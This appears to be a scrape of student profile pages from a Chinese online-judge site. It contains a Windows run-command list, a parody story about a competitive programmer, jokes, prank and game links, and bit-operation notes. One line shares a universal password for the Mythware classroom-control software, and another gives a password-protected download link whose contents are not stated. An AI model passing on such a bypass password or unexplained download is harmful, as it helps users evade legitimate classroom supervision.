tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
compmgmt.msc---计算机管理
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
certmgr.msc----证书管理实用程序
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符哪里有什么胭脂想象，不过是虚晃一梦罢了，梦醒了，什么都没有了

《写代码的小女孩》

天冷极了，下着雪，又快黑了。这是NOIP的前夜。在这又冷又黑的晚上，一个衣衫破烂的小女孩在机房敲着代码。她从班里逃出来的时候还拿着一本算导，但是有什么用呢？那是一本很破旧的书——那么大，一向是她妈妈垫桌角的。她默写SPFA的时候，年级主任突然冲进机房，吓得她把算导都丢掉了。书叫一个学数竞捡起来拿着跑了。他说，他可以用那本书当草纸，证明切比雪夫定理。小女孩只好自己写二叉堆，一双小脚冻得红一块青一块的。她面前的草纸堆得满满的，上面全是DP转移方程。这一整天，没有一个OJ让她AC一道题，她已经交了32遍采药了。可怜的小女孩！她又冷又饿，浑身战栗地写着二叉堆。CRT显示器发出的光落在她的枯黄的长头发上，那干枯的头发打成卷儿披在肩上，看上去就像二叉树，不过她没注意这些。每个显示器里都透出光来，机房里飘着一股CPU发糊的怪味，因为这是NOIP前夜——她可忘不了这个。她在主函数前面停了下来，蜷着趴在键盘上。她觉得更冷了。她不敢回家，因为她还没调完二叉堆，没写对一个DP方程，教练一定会骂她的。再说，换成别的数据结构，一样写不出来。这些题都太水，虽然神犇都写过题解了，但是题解上一般都只有三个字：傻X题。她几乎绝望了。啊，哪怕一个函数不会RE，对她也是有好处的！她每写一遍程序，跑出来的结果就不一样，要是她有数据，她就知道哪一个程序是算对了的。她得不到数据了，因为机房上不去网了，全校的网速都让隔壁的年级主任拿来下小电影了。如果能保证下一个程序能AC，她就敢再写几十KB的代码，但是她是不敢啊，她怕又算出来一个奇葩的结果来。她新建了一个cpp重写了程序。编译通过了，样例过了。这次，她感觉自己站在IOI的考场中AK。学校的大门上，贴着“我校学生以国际金牌向110周年校庆献礼”的条幅。在班级内的非诚勿扰中，全班男生都给她留了灯。这时候，程序又RE了，她面前只有cmd上的黑底白字。她又写了一道模拟。这一回，她坐在美丽的二叉堆下。这棵二叉堆，比她在丽洁代码中看到的常数还要小，还要短。眼前是许多优美动人的ASCII码，那些都是她写的程序，各种可爱的指针在跳跃着，满世界都是系统栈，都在向她眨眼睛。小女孩向眼前的系统栈伸出手去。这时候，眼前的ASCII码还在，条幅还在，指针还在，年级主任还是和蔼地微笑着。只见那些代码那些指针越升越高越升越高，最后成了在天空中闪烁的星星。有一颗星星落下来了，在天空中划出了一道细长的红光。“有一个什么人快要死了。” 小女孩说。唯一疼她的学姐保送之前告诉过她：一颗星星落下来，就有一个灵魂要到上帝那儿去了。她notepad++中又写了一个快排。这一回，她把能用的IDE都用了。学姐出现在亮光里，是那么温和，那么快乐。“学姐！” 小女孩叫起来，“啊！请把我带走吧！我知道，系统栈一溢出，您就会不见的，像那校门的条幅，浮点数的精度，循环队列的空间一个样，就会不见的！” 她赶紧编译了5KB的高精度模板，要把学姐留住。一大把程序发出强烈的光，把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔，这样美丽。她把小女孩抱起来，搂在怀里。她们俩在光明和快乐中飞走了，越飞越高，飞到那没有DP，没有图论，也没有数据结构的地方去了。第二天清晨，这个小女孩坐在机房里，两腮通红，嘴上带着微笑。她死了，在NOIP的前夜死了。NOIP Day1的太阳升起来了，照在她小小的尸体上。小女孩坐在那儿，显示器上还有一堆编译过的代码。“她想好好复习复赛。” 人们说。谁也不知道她曾经看到过多么美丽的东西，她曾经多么幸福，跟着她学姐一起走向新世界的幸福中去。

一位洗碗的大姐，经常被别人叫阿姨，她嫌弃阿姨不好听，就给自己取了一个特别牛的名字：瓷洗太后。隔壁补胎的师傅受到启发，给自己取了一个国际范的名字：拿破轮。电焊工听到，受到启发，也给自己取了一个名字：焊武帝。一日电焊工去糖果店炫耀自己的名字，老板啦叫他看他的名字：糖太宗。电焊工看了沉默了。这时一辆粪车路过，发写这三个大字：擒屎皇。路边捆菜的阿姨行不下去了，叫到你们的名字算什么？看看我的名字，众人一看这名字取得不一般，大喊到捆菜阿姨的名字：菜需捆！！！从此，镇上工作的人，再也没有互相比过名字。

极域网通用密码：mythware_super_password chrome://dino 打开小恐龙 https://corezwb.lanzouq.com/iAFNA01ud3qj 密码gs83

坤坤邀你打视频 http://jlh.125ks.cn/cxk/spth/

坤坤邀你打电话 http://jlh.125ks.cn/cxk/ddh/

爆踩菜虚鲲 http://jlh.125ks.cn/cxk/bccxk/

坤坤打篮球 http://jlh.125ks.cn/cxk/dlq/

坤坤打飞机 http://jlh.125ks.cn/cxk/ https://gimg2.baidu.com/image_search/src=http%3A%2F%2Fpic2.zhimg.com%2Fv2-2ee6c3530ee59861e683cae436fa27c5_b.jpg&refer=http%3A%2F%2Fpic2.zhimg.com&app=2002&size=f9999,10000&q=a80&n=0&g=0n&fmt=jpeg?sec=1644995765&t=53642b293da86d935fb320cd1fb4bb56

电脑个性化：https://zhutix.com/ 上网址自己下。

猫咪桌宠：http://www.ddooo.com/softdown/190036.htm 上网址自己下。 https://lemonjing.com/rich#首富模拟器 https://poki.cn/ 免费在线游戏

《写代码的小女孩》

下面有东西（一定要看）

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

| 

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

Copy

\ | /

\ /

Copy

文学区

1、人被杀，就会死

2、当你左脸被打，你的右脸就不会痛

3、据研究每呼吸60秒，就减少1分钟寿命

4、中国人在睡觉时，大多数美国人在工作

5、凡是每天憋尿过多的人，有高几率100年内死去

6、谁能想到，一名16岁少女，4年前只是一-位12岁少女

7、 当蝴蝶在南半球拍了两下翅膀，它就会稍微飞高一些

8、如果你每天省下来一包烟钱，10天后你就能买10包烟

9、当你吃下了20碗米饭，换算下来竟然相当于摄入了20碗米饭的热量

10、中国教英语方式有极大错误，在美国就连小学生都能说一口流利的英语
![image](/file/3674/nKhpwRYASHFFaOpSHeeo6.jpeg) ![image](/file/3674/-xuAtHNWNwE9vV_keFufG.jpeg) ![image](/file/3674/9HpqFKbhMiOmIUCBuAMNK.jpeg)

Copy

已递交

已通过

题解被赞

状态

开发

开源
API

支持

关于
联系我们
隐私
服务条款
版权申诉
Language
兼容模式
主题
Worker 0, 35ms
Powered by Hydro v4.9.27 Community

通过的题目
P225

P365

P379

P901
P902

P965

P1111

P2375
P2416

P2424

P2427

P2530
P2531

P2538

P2539
最近活动

略有小成: 3
GESP三级: 3
模拟: 2
循环结构: 2
电子学会一级: 2
初窥门径: 2
计数排序: 2
二维数组: 1
顺序结构: 1
进制转换: 1

穆宏斌 (爱琴海校区-穆宏斌)

个人简介

jianxinming (蹇心明)

评测状态

编译错误

训练

比赛

通过率

RP 算法

难度算法

测试数据集格式

忘记密码和/或用户名

Markdown

限制

输入输出

Minecraft

题目描述

输入格式

输出格式

样例

输入样例

输出样例

数据范围与提示

CF1203B Equal Rectangles tj

思路

AC Code：

P9459 浴眼盯真 tj

思路

AC Code

SP21357 CEQU - Crucial Equation tj

运用知识

题目思路

AC Code

CF1203A tj

思路

AT_tkppc4_1_c tj

思路

P9373 「DROI」Round 2 构造与取模 tj

题目标签

状态

开发

支持

NKZKY

动作越丑，刹球越猛；动作越帅，打球越菜

"The uglier the action, the stronger the kill; The more handsome the action, the more difficult it is to play the ball"

位运算符

左移运算：<<

右移运算：>>

按位与运算： &

按位或运算： |

按位异或运算： ^

按位非运算： ~

状态压缩常用位运算符技巧

1.取出x的第k位:

2.将x第k位取反:

3.将x第k位变为1：

4.将x第k位变为0：

5.将x最靠右的1去掉：

6.取出x最靠右的1:

7.判断是否有两个连续的一：

题目标签

状态

开发

支持

空空大师

传 送 门

玛 卡 巴 卡

状态

开发

支持

通过的题目

最近活动

题目标签

状态

开发

支持

还没有账户？

登录

左移运算：`<<`

右移运算：`>>`

按位与运算： `&`

按位或运算： `|`

按位异或运算： `^`

按位非运算： `~`

传送门

玛卡巴卡